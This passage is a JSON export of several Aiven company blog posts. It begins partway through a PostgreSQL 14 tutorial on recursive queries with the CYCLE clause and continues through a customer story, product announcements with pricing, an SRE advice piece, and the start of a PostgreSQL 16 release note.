{(0),(2),(3)}\n 4 | 10 | 270 | {Rome,Helsinki,Barcelona} | f | {(0),(3),(4)}\n 4 | 10 | 690 | {Rome,Paris,Helsinki,Barcelona} | f | {(0),(2),(3),(4)}\n 4 | 10 | 670 | {Rome,London,Helsinki,Barcelona} | f | {(0),(1),(3),(4)}\n 1 | 12 | 770 | {Rome,Helsinki,Barcelona,London} | f | {(0),(3),(4),(1)}\n(11 rows)\n```\n\nAfter avoiding loops, we can also compare trips: for example, both the journeys `{Rome,Helsinki,Barcelona,London}` and `{Rome,London,Helsinki,Barcelona}` include in the same cities, but the first is 100 euros cheaper.\n\n## Return back home\n\nThere's a moment in every trip when you're happy to go back home, but, if you check the trips above, since we're avoiding loops, there is no way we'll end up in our lovely `Rome` again.\n\nTo achieve that, in the original query we need to factor in an additional join with the `trips` table, adding to each journey also the return cost to `Rome`, you can check the full query below:\n\n```sql\nwith recursive trip_journey(\n city_id,\n trip_id,\n total_price_in_eur,\n journey_stops,\n journey_prices,\n return_price\n )\nas (\n select\n city_id as city_id,\n null::int,\n 0 price_in_eur,\n ARRAY[city_name] as journey_name,\n ARRAY[0::int] as journey_price,\n 0 return_price\n from cities\n where city_id=0\n UNION ALL\n select\n trips.city_b_id,\n trips.trip_id,\n tj.total_price_in_eur + trips.price_in_eur,\n tj.journey_stops || city_b.city_name,\n tj.journey_prices || trips.price_in_eur,\n return_trips.price_in_eur\n from trip_journey tj join trips on tj.city_id = trips.city_a_id\n join cities city_a on trips.city_a_id = city_a.city_id\n join cities city_b on trips.city_b_id = city_b.city_id\n join trips return_trips on trips.city_b_id = return_trips.city_a_id and return_trips.city_b_id = 0\n where tj.total_price_in_eur + trips.price_in_eur + return_trips.price_in_eur \u003c 800\n ) CYCLE city_id SET is_cycle USING journey_ids\nselect * from trip_journey where is_cycle=false;\n```\n\nThe `join trips return_trips on trips.city_b_id = return_trips.city_a_id and return_trips.city_b_id = 0` section makes sure we are also including a return trip to `Rome` (`city_id=0`) and the `tj.total_price_in_eur + trips.price_in_eur + return_trips.price_in_eur \u003c 800` statement includes the return trip cost in the check against the budget.\n\nThe result shows all the 10 possible journeys which include in the budget a return trip to `Rome`.\n\n```\ncity_id | trip_id | total_price_in_eur | journey_stops | journey_prices | return_price | is_cycle | journey_ids\n---------+---------+--------------------+----------------------------------+-----------------+--------------+----------+-------------------\n 0 | | 0 | {Rome} | {0} | 0 | f | {(0)}\n 1 | 1 | 200 | {Rome,London} | {0,200} | 120 | f | {(0),(1)}\n 2 | 2 | 250 | {Rome,Paris} | {0,250} | 170 | f | {(0),(2)}\n 3 | 3 | 150 | {Rome,Helsinki} | {0,150} | 50 | f | {(0),(3)}\n 3 | 5 | 550 | {Rome,London,Helsinki} | {0,200,350} | 50 | f | {(0),(1),(3)}\n 4 | 6 | 650 | {Rome,London,Barcelona} | {0,200,450} | 30 | f | {(0),(1),(4)}\n 3 | 8 | 570 | {Rome,Paris,Helsinki} | {0,250,320} | 50 | f | {(0),(2),(3)}\n 4 | 10 | 270 | {Rome,Helsinki,Barcelona} | {0,150,120} | 30 | f | {(0),(3),(4)}\n 4 | 10 | 690 | {Rome,Paris,Helsinki,Barcelona} | {0,250,320,120} | 30 | f | {(0),(2),(3),(4)}\n 4 | 10 | 670 | {Rome,London,Helsinki,Barcelona} | {0,200,350,120} | 30 | f | {(0),(1),(3),(4)}\n(10 rows)\n```\n\n## Wrapping up\nThe new `SEARCH` and `CYCLE` options provide a new and more elegant way of defining recursive queries behaviour. Some more resources to take this on board:\n* [WITH Queries (Common Table Expression) in PostgreSQL](https://www.postgresql.org/docs/14/queries-with.html) where you can find the `SEARCH` and `CYCLE` documentation\n* [Solving the knapsack problem in PosgreSQL](https://aiven.io/blog/solving-the-knapsack-problem-in-postgresql) where you can check how you can define search patterns and avoid cycles in previous PostgreSQL version\n* [Aiven for PostgreSQL](https://aiven.io/postgresql) to check Aiven offering for PostgreSQL as managed service.\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\"). Just a thought.\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-af94f397b7e9144a370d6939290c246ddb711da5-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-14T00:00:00.000Z","seo":{"metaDescription":"Using recursive queries? Check out the new SEARCH and CYCLE features available in PostgreSQL 14 in this update to an earlier blog post.","metaImage":{"alt":"","asset":{"_ref":"image-af94f397b7e9144a370d6939290c246ddb711da5-1567x844-png","_type":"reference"}},"metaTitle":"Explore the new SEARCH and CYCLE features in PostgreSQL® 14"},"slug":{"_type":"slug","current":"/blog/explore-the-new-search-and-cycle-features-in-postgresql-14"},"subtitle":"Using recursive queries? Check out the new SEARCH and CYCLE features available in PostgreSQL 14 in this update to an earlier blog post.","title":"Explore the new SEARCH and CYCLE features in PostgreSQL® 14"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5xMVmgTPANyANZSs0E8UPT","_rev":"YFURCCIYWC1zW2kvzase0t","_type":"post","_updatedAt":"2023-08-07T10:41:10Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"You may have heard of the Kingdom of Bhutan, the only country in the world that measures its success using a Gross National Happiness index. This policy, conceptualized and introduced by His Majesty Jigme Singye Wangchuck, stresses the importance of socio-economic development, cultural preservation, environmental conservation and good governance in order to enhance happiness for its people. \nIn support of this pioneering policy, Bhutanese businesses need innovative, creative solutions that generate and attract new economic opportunities while still allowing them to remain true to their people and nature. Aiven has proven itself to be one of those solutions.\n\n### Background\nHome to 800,000 people with a proud ancient heritage, the Kingdom of Bhutan has intentionally remained isolated from the rest of the world in order to safeguard its culture and nature. Technology traditionally arrives late in Bhutan. Television and the internet, for example, were only introduced in 1999, while cell phones arrived in 2003.\n\n![MyBhutan-Customer-Story-Img-4](//cdn.sanity.io/images/sczeoy4w/production/8b2002271eac2d80c29037a9c444abbfa4d9e8aa-1000x667.jpg)\n\n_Figure 1: Religious festivals (tsechus) offer a unique cultural insight into the kingdom_\n\nDespite its traditional latecomer status, Bhutan has experienced a rapid growth in technology over the past ten years, leapfrogging other countries that committed to technological development well before Bhutan even first turned on its internet.\n\n#### Why has Bhutan's technological growth been so successful?\n\nAfter a peaceful transition to constitutional democracy in 2008, Bhutan began to take greater interest in developing new business opportunities with the outside world. Bhutan began to work alongside a handful of outsiders whom they trusted would help to develop the kingdom on the global stage while also supporting their primary interest of bringing happiness to its people, including the American businessman Matthew DeSantis. After DeSantis spent a number of years advising the government on systems development and policy, he started [MyBhutan](https://mybhutan.com/) and [Beyul Labs](https://beyul.com/).\n\nThe most important industry was — and still is — tourism, employing over 20% of its labor force. Both MyBhutan and Beyul are heavily involved in tourism. The industry previously faced two main challenges which these businesses developed solutions to resolve. First, international customers had trouble finding reliable and accurate information about Bhutan travel online. Second, there was no easy way to directly arrange travel plans and services. This double whammy meant tourists were often unable to discover the joys of Bhutan. And even the persistent travelers who did faced additional issues in hiring their tour operator, receiving their visas, booking their airlines and lodging, hiring a guide, coordinating meals, and arranging a driver and vehicle. For the Bhutanese business, there was limited ability to generate web presence and there was a dropoff on customer transactions due to not having Bhutan-specific business solutions or CRM tools that could handle the complexities of the country’s unique tourism requirements. They also needed a secure, reliable method of receiving payments internationally.\n\nWe spoke with DeSantis, the founder and CEO of both MyBhutan and Beyul Labs, to learn why his companies chose to partner with Aiven to resolve these issues. We focused the conversation specifically on MyBhutan.\n\n### Rising to the challenge with Aiven\nDue to the limited infrastructure in the country, MyBhutan focused on cloud-based technologies to support system performance. The company started with a self-managed DigitalOcean database, but was soon spending too much time maintaining it and fixing performance issues. \nThey then switched to [Aiven for PostgreSQL](https://aiven.io/postgresql) because it was a managed solution, and have been very happy with the change. \n\nAs DeSantis explains, “Aiven was an ideal database as a service solution for us. Specifically, Aiven’s managed Postgres database was very attractive for our main use case - storing all of our travel and tourism related data. Aiven’s simple and intuitive UI makes it easy to set up and configure databases and with one click of a button we can roll back, upgrade, and scale our instances. We’ve saved countless hours of time and money that otherwise would have been spent on supporting our infrastructure and likely a larger team to do so.”\n\nMyBhutan also has high scalability needs. It has been building a robust dataset spanning 8 years and covering the entirety of the country’s districts and its businesses. It adds up to a lot of data over time. DeSantis says, “Aiven’s cloud-native data infrastructure gave us the ability to upgrade our resource configurations of storage and compute on an as-needed basis. Scaling is initiated by us and happens automatically in the background, with no downtime or interruption to the MyBhutan application.” An important added bonus is that the company only pays for what it needs, as Aiven’s scalable solution does not need overprovisioning.\n\nAiven can also accommodate requests from many different types of users, not just Bhutanese businesses. To serve the needs of the tourist industry, the service has to be responsive and reliable to international customers worldwide, most heavily in the US, Europe, India and China.\n\n![MyBhutan-Customer-Story-Img-1](//cdn.sanity.io/images/sczeoy4w/production/19354aba03a44a210c7b1cf5c2c02a0d9db6ac3b-1000x625.jpg)\n\n_Figure 2: A guest overlooks Taba valley from Tango Buddhist Institute in Thimphu, Bhutan_\n\nEco-friendliness is very important for both Bhutan and MyBhutan; it is in fact one of the main metrics the country uses to measure its success. The fact that Aiven uses renewable energy sources to power its servers is a clear sign of a shared, environmental philosophy.\n\nAiven also keeps the wheels of business turning without downtime and maintenance breaks. Asked about Aiven’s service reliability, DeSantis calls it “exceptional” and notes that Aiven has kept their promise of [99.99% uptime](https://aiven.io/sla). That is key for MyBhutan, whose customers rely on online communication and sales.\n\nAnd finally, the MyBhutan team has been impressed with the service and support offered by Aiven. According to DeSantis, Aiven’s team is friendly, responsive and effective in responding to questions and requests. \n\n### Going forward with Aiven\nThe Bhutanese are honest and creative people, as well as very well educated. From this perspective, there is great opportunity for the country to develop valued resources for the global skilled service sector; such as hospitality, consulting, computer software development, and customer support outsourcing. In order to generate business internationally, they need technology solutions that perform at the level of excellence that the Bhutanese do with their skilled services.\n\nDeSantis and his team are looking forward to continuing to develop solutions with Aiven that create an even better future for the Bhutanese people and the country’s unique culture and nature. “Aiven’s competency and reliability and dedication to open source has allowed us to easily support multiple applications with this open source database,” says DeSantis.\n\n![MyBhutan-Customer-Story-Img-5](//cdn.sanity.io/images/sczeoy4w/production/4bbc6d2bee091249973271bb159af973dca67b0b-1000x667.jpg)\n\n_Figure 3: Bhutan is one of the happiest (and safest) places on earth._\n\n“We need trusted partners who we can not only rely on for the health of our business, but also for the overall well-being of a nation. Aiven has clearly become an essential one.”\n\nTo learn about more customer stories and case studies, make sure to follow our blog or check out our [case studies page](https://aiven.io/case-studies). Stay up-to-date with product updates, as well as new services by subscribing to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [LinkedIn](https://www.linkedin.com/company/aiven/) or [Twitter](https://twitter.com/aiven_io).","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"6FWlUxDXERbtNrYX2asRv6","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ce30aaee6c41618e092fefe517caf41192932e1a-1567x844-png","_type":"reference"}},"publishedAt":"2020-10-14T00:00:00.000Z","seo":{"metaDescription":"In our first ever customer story, MyBhutan’s co-founder Matthew DeSantis shares with us how Aiven is contributing to the Kingdom of Bhutan’s development.","metaImage":{"alt":"","asset":{"_ref":"image-ce30aaee6c41618e092fefe517caf41192932e1a-1567x844-png","_type":"reference"}},"metaTitle":"Aiven enhances happiness in the Himalayas [Customer Story]"},"slug":{"_type":"slug","current":"/blog/mybhutan-and-aiven-customer-story"},"subtitle":"In our first ever customer story, MyBhutan’s co-founder Matthew DeSantis shares with us how Aiven is contributing to the Kingdom of Bhutan’s development.","title":"Aiven enhances happiness in the Himalayas"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5z8jY2MiXpgtfEWz64LUAD","_rev":"cEPH2uRN58AU2lp9QO7oQj","_type":"post","_updatedAt":"2022-09-08T16:19:41Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We've been getting feedback from people wanting to try out our service on a trial basis and we've decided to automatically give all new users free trial credits.\n\nNew users will automatically get US$10 worth of free credits to try our database services. We also no longer require a credit card to be put on file before letting you spin up your own databases.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/d4086f919159ba1c657348bef212e4a4c7d6fd48-400x269.png)\n\nBilling and credits view in the Aiven Console\n\nThese user credits will allow you to try our hobbyist level plans for roughly two weeks (or longer if you power off your instances when you don't need them.)\n\nAfter your credits have been used up your database will stay up and running if you have added your credit card to the service. Otherwise we'll automatically power down your database when the credits run out but you can restore it by just entering card details.\n\nNote that you can use these credits for any plan type meaning you can even try out our more powerful business or premium plans if you'd like.\n\nWe hope these changes will make it easier for you to try out our highly performant, highly available next generation database services. So, what are you waiting for? [Sign up now to for a free trial!](https://console.aiven.io/signup)\n","categories":[],"mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2016-02-18T17:22:00.002Z","seo":{"metaDescription":"Try before you buy is imperative in SaaS, which is why we’re offering a no commitment trial for our PostgreSQL service. Find out the details here.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"Try Aiven for PostgreSQL® for free"},"slug":{"_type":"slug","current":"/blog/try-aiven-postgresql-for-free"},"subtitle":"Try before you buy is imperative in SaaS, which is why we’re offering a no commitment trial for our PostgreSQL service. Find out the details here.","title":"Try Aiven for PostgreSQL® for free"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5zWKp0rhzV1I4NDDIPRdh0","_rev":"WyoSK86ArQOsLFCpeU22Hn","_type":"post","_updatedAt":"2023-03-14T13:52:22Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"The Aiven platform is built around giving you the ability to refocus on your core business. By giving you the tools to increase your operational efficiency, you have the extra time and money to focus on developing the apps that actually drive your business.\n\nThat is precisely why **we’re now supporting Terraform**. Before we supported Terraform, you could configure and manage your Aiven Infrastructure through our console UI, REST API, or CLI; and, they work for most use cases.\n\nBut, there are cases where Terraform is the better option. In this post, we’ll cover what Terraform is, when it’s most useful, and provide a link to our implementation documentation so that you can do so if it makes sense for you.\n\n### What Terraform is\n\nIn short, Terraform is open-source, infrastructure as code tooling. By using Terraform, you can build, configure and manage your Aiven services with greater efficiency. There are three major features available when using infrastructure as code:\n\n1. Version control\n2. Comprehensive documentation of all resources and their state\n3. Reproducibility and automation\n\nVersion control provides an extra layer of predictability when making changes to the underlying infrastructure driving your apps, helping to ensure that any changes you make won’t inadvertently crash your apps.\n\n\u003e This is especially true as your infrastructure grows in complexity to support greater workloads.\n\nYou’ll also want to automate as much of your manual work as possible. Maybe you want to test an instance in a new cloud or region, or maybe you want to connect your app to a current instance. Either way, you can increase your team’s efficiency with Terraform.\n\n### When Terraform is most useful\n\nAs touched on above, Terraform tooling is ideal for coordinating large, complex infrastructure and connecting pieces of your infrastructure in a reproducible, semi-automated way. This is essential when operating in today’s multi-cloud, multi-region environment.\n\nThere is also an obvious, third case: when you’re already using Terraform tooling to manage your infrastructure. If that’s you, you’d want to incorporate most, if not all of your infrastructure components to make your workflows as seamless as possible.\n\n### Wrapping up\n\nWe are very excited to provide Terraform as a fourth option to configure and manage your Aiven database infrastructure. If you aren’t using it already, you can find more information about it at [Terraform’s official site](https://www.terraform.io/intro/index.html).\n\nAlready using Terraform and want to know how to begin managing your Aiven resources with your Terraform tooling? You can read our [Aiven Terraform Integration](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration) documentation to get started immediately.\n\nOur Terraform integration is a key example of our engineering team’s consideration of your feedback—it is heard. So, continue giving it! In the meantime, subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-87d8cd6d88f192eda101ca59c914ba91e87add81-752x405-png","_type":"reference"}},"publishedAt":"2018-10-03T00:00:00.000Z","seo":{"metaDescription":"The Aiven platform now supports Terraform, a fourth way to manage your Aiven infrastructure. Read this post to find out more.","metaImage":{"alt":"","asset":{"_ref":"image-87d8cd6d88f192eda101ca59c914ba91e87add81-752x405-png","_type":"reference"}},"metaTitle":"Reduce your Aiven infrastructure complexity with Terraform"},"slug":{"_type":"slug","current":"/blog/reduce-your-aiven-infrastructure-complexity-with-terraform"},"subtitle":"The Aiven platform now supports Terraform, a fourth way to manage your Aiven infrastructure. Read this post to find out more.","title":"Reduce your Aiven infrastructure complexity with Terraform"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6ZC2mBH5faaDrnTsGOl3tT","_rev":"cEPH2uRN58AU2lp9QO7mgL","_type":"post","_updatedAt":"2022-09-08T16:19:13Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"We've just launched the new **64**, **120** and **160** style PostgreSQL plans in multiple clouds. These new plans allow you to run larger and larger PostgreSQL instances in the cloud. The new plans are available in our Startup, Business and Premium flavors supporting various levels of high-availability. The number after the plan flavor designates the RAM available for database in use in the plan. CPU count and storage also grow with larger plans giving you more resources to run your transactions. Let's check out some of the specs:\n\n- Up to 32 CPUs,\n- 160 GB RAM,\n- and 1.6 TB disk.\n\nAll of the new plans are available in both Amazon Web Services and Google Cloud, and the **64** and **120** plans are also available in UpCloud. We hope we can offer bigger plans in DigitalOcean in the near future as well.\n\nThe pricing for our new plans is available on our **[PostgreSQL service page](https://aiven.io/postgresql#pricing)**.  Remember that trying out Aiven is free, you'll receive US$10 free credits on sign up which allows you to run one of our huge new plans for some hours, or a small instance for a couple of weeks.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-06-16T21:25:00.001Z","seo":{"metaDescription":"Our bread and butter is PostgreSQL, which is why we continue to add bigger and better plans to Aiven. Find out the latest plan options here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Even bigger PostgreSQL® plans now available"},"slug":{"_type":"slug","current":"/blog/postgresql-plans-64-120-160-available"},"subtitle":"Our bread and butter is PostgreSQL, which is why we continue to add bigger and better plans to Aiven. Find out the latest plan options here.","title":"Even bigger PostgreSQL® plans now available"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6akdrHsSYnuCnnQNgT9Ju8","_rev":"QRl2cGoCgj0FlAhkRrhkJT","_type":"post","_updatedAt":"2022-09-08T16:19:11Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"In a world filled with microservices we're delighted to announce yet another expansion of the Aiven service portfolio in the form of [Aiven Kafka](https://aiven.io/kafka). Aiven Kafka adds streaming data capabilities in the form of a distributed commit log. For the last three months we've been offering [Apache Kafka](http://kafka.apache.org/) in private beta and now we're making it publicly available!\n\nAiven Kafka is a service that can be used to ingest and read back large quantities of log event data. This allows you to write your whole event stream durably in a fire hose like fashion and then process it at your leisure. Kafka is being used in [some of the largest companies](https://cwiki.apache.org/confluence/display/KAFKA/Powered+By) on the planet for many mission-critical workloads. Besides using it for streaming data you can also use it as a message broker connecting your myriad services with each other.\n\nHistorically Kafka itself and especially its reliance on [Apache ZooKeeper](https://zookeeper.apache.org/) has made its setup require considerable time and effort and requiring skilled staff to maintain and operate it. Aiven Kafka is now making it trivially easy to have your own managed Kafka cluster.\n\n### The easy streaming log service for your microservices\n\nOur [Web Console](https://console.aiven.io/) allows you to launch Aiven Kafka in any of our supported clouds and regions with a couple of clicks. All Aiven services are available in all Amazon Web Services, Google Cloud, DigitalOcean and UpCloud regions allowing you to launch services near you in minutes.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/7c19eef16164078149ca6abef56d9c33e78a5ab0-640x298.png)\n\nAiven Kafka is a first-class service in Aiven, meaning we'll take care of fault-tolerance, monitoring and maintenance operations on your behalf. In case you need to get more performance out of your Kafka cluster, you can simply expand your cluster by selecting a bigger plan and all your data will be automatically migrated to beefier nodes without any downtime.\n\n### Our startup Kafka plan\n\nIf you want to try out Kafka on a modestly powered three node cluster and don't need Kafka REST our Startup-2 plan will get you started. After getting started you can easily later upgrade to a larger plan if needed.\n\n* **Startup-2**: 1 CPU, 2 GB RAM, 30 GB SSD at $200 / month ($0.274 / hour)\n\n### Our three node business Kafka plans\n\nOur [Business plans](https://aiven.io/kafka#comparison) are three node clusters which are deployed alongside Kafka REST to allow the use of HTTP REST calls for interacting with Kafka.\n\n* **Business-4**: 1 CPU, 4 GB RAM, 200 GB SSD at $500 / month ($0.685 / hour)\n* **Business-8**: 2 CPU, 8 GB RAM, 400 GB SSD at $1000 / month ($1.370 / hour)\n* **Business-16**: 4 CPU, 16 GB RAM, 800 GB SSD at $2000 / month ($2.740 / hour)\n\n### Highly-available five node premium Kafka plans\n\nIf you want an even higher level of reliability and performance our [Premium Aiven Kafka plans](https://aiven.io/kafka#comparison) are made for this. They all come with five (or more for custom plans) Kafka broker nodes. \n\n* **Premium-4**: 1 CPU, 4 GB RAM, 200 GB SSD at $800 / month ($1.096 / hour)\n* **Premium-8**: 2 CPU, 8 GB RAM, 400 GB SSD at $1600 / month ($2.192 / hour)\n* **Premium-16**: 4 CPU, 16 GB RAM, 800 GB SSD at $3200 / month ($4.384 / hour)\n\nAlso if you need to find larger or otherwise customized plans, please don't hesitate to contact us.\n\n### Trying Aiven is free, no credit card required\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans.\n\nGo to [aiven.io](https://aiven.io/) to get started!\n\n### We value your feedback\n\nWe are always interested in ways of making our service better. Please send your feedback and suggestions via\n[email](mailto:support@aiven.io), [Facebook](https://facebook.com/aivencloud),\n[LinkedIn](https://www.linkedin.com/company/aiven) or using our website's live chat.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-07-13T11:33:00.000Z","seo":{"metaDescription":"Want open-source, vendor-neutral Apache Kafka? Look no further, Aiven Kafka is now available across 4 clouds. Find out the specifics here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for Apache Kafka now publicly available!"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-now-publicly-available"},"subtitle":"Want open-source, vendor-neutral Apache Kafka? Look no further, Aiven Kafka is now available across 4 clouds. Find out the specifics here.","title":"Aiven for Apache Kafka now publicly available!"} {"__i18n_lang":"en","_createdAt":"2022-06-30T20:11:24Z","_id":"6lGKFmwwPY4X8RmqIKf7tn","_rev":"tW7kMBSHIbCIaN9dzsDclT","_type":"post","_updatedAt":"2023-06-19T08:22:11Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"There's no right way to do SRE, but there _is_ a wrong way. Here [at Aiven we're getting SRE right](https://www.linkedin.com/posts/andy-grunwald-09aa265a_when-having-to-put-out-fires-that-result-activity-6923187225400627200-Dhn3 \"SRE at Aiven | Andy Grunwald on LinkedIn\"), because maintaining a stable environment is crucial for an infrastructure-as-a-service provider. That's why we wanted to spread the goodness and help any straying friends find the true path again. \n\nHere are some questions you can ask yourself and your teams to find out if your SRE game is on point.\n\n## 1. Are your SRE efforts in a silo?\nGood SRE comes from a working cooperation between developers and operations. If ops keeps dealing with the same issues again and again, clear the lines of communication between the teams and __find solutions at the source__.\n\n## 2. Are you measuring SRE success in uptime?\nMeasuring SRE success is a step in the right direction. However, don't just stare at uptime. Yes, it's what you're promising your customers, but it's not the whole story, and to reach those last two nines you need more.\n\nIn addition to uptime, make sure to track __availability and resilience__. After all, your environment may be up, but unreachable - what use is that for your customers? Then when things go haywire and the environment crashes, good resilience is what enables it to get back up again quickly.\n## 3. Is your SRE all about reacting to emergencies?\nIf you write \"how to do SRE\" in a search engine, it can tell you that SRE should not be reactive but PROactive. That's how much of a no-brainer it is. The reason your search engine knows about it, though, is that in many companies, it's *still* reactive. \n\nYour approach needs to be all about __continual improvement__. When a thing breaks once, make sure it doesn't break again.\n\nSRE is not an an ambulance service or even a hospital. It's more like the low-key, everyday health care service that your occupational nurse provides.\n\n## 4. Does your SRE take a lot of resources and effort?\nSRE won't run on empty, but it also doesn't need to break the bank. Invest in __automation and efficiency__, and watch the ROI mount up. \n\nRepetitive tasks and monitoring are things automation excels at, so be sure to use that to your advantage. Set up alerts; set up automatic processes for known vulnerabilities (unless of course you can just fix them!). \n## Wrapping up\nIf you want to run a stable environment, treat your SREs well, have a proper roadmap, enable cross-function communication and *automate everything*.\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-d95f479c563670154e2761f366c10a90101e6c36-3133x1688-png","_type":"reference"}},"publishedAt":"2022-06-29T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Is your SRE game on point or are you doing it wrong? Ask yourself these four important questions to find out. Stay informed by reading this article! ","metaImage":{"alt":"","asset":{"_ref":"image-d95f479c563670154e2761f366c10a90101e6c36-3133x1688-png","_type":"reference"}},"metaTitle":"Are you doing SRE wrong? 4 questions to ask"},"slug":{"_type":"slug","current":"/blog/are-you-doing-sre-wrong-4-questions-to-ask"},"subtitle":"SRE requires teamwork and planning. Be like Aiven, get it right.","title":"Are you doing SRE wrong? 4 questions to ask"} {"__i18n_lang":"en","_createdAt":"2024-01-12T10:12:02Z","_id":"744c0688-e6eb-4410-9d43-3802217b181f","_rev":"E2EqFgH2t2FE0P1F1sYqYv","_type":"post","_updatedAt":"2024-02-27T15:25:39Z","authors":[{"_key":"c2f743515212","_ref":"5a16a911-c8fc-479c-8760-cb02d321aa7f","_type":"reference"}],"body":"Many Aiven for PostgreSQL® customers want to be at the forefront of innovation and ensure their developers have access to the latest database features that enhance their productivity and streamline their work. In support of this, Aiven now makes PostgreSQL® version 16 available. The new version comes with a set of enhancements that optimize performance and provide improved monitoring and security. These new features make workload management more efficient and secure and also contribute to an improved developer experience.\n\n## Release Highlights\n\n### Improved performance with better query planning and optimized bulk loading\n\nThis release incorporates query planner optimizations, [introducing parallelization](https://www.postgresql.org/docs/16/parallel-query.html) for `FULL` and `RIGHT` joins, optimized plans for [aggregate functions](https://www.postgresql.org/docs/16/functions-aggregate.html) with a `DISTINCT` or `ORDER BY` clause, incremental sorts for `SELECT DISTINCT` queries, and more efficient window function execution. `RIGHT` and `OUTER` “anti-joins” have been refined to facilitate the identification of missing rows. Additionally, bulk loading is optimized, achieving up to 300% performance gains with `COPY` in both single and concurrent operations. The update introduces [load balancing](https://www.postgresql.org/docs/16/libpq-connect.html#LIBPQ-CONNECT-LOAD-BALANCE-HOSTS) for `libpq` clients, optimizes the vacuum strategy, and utilizes CPU acceleration via `SIMD` for notable 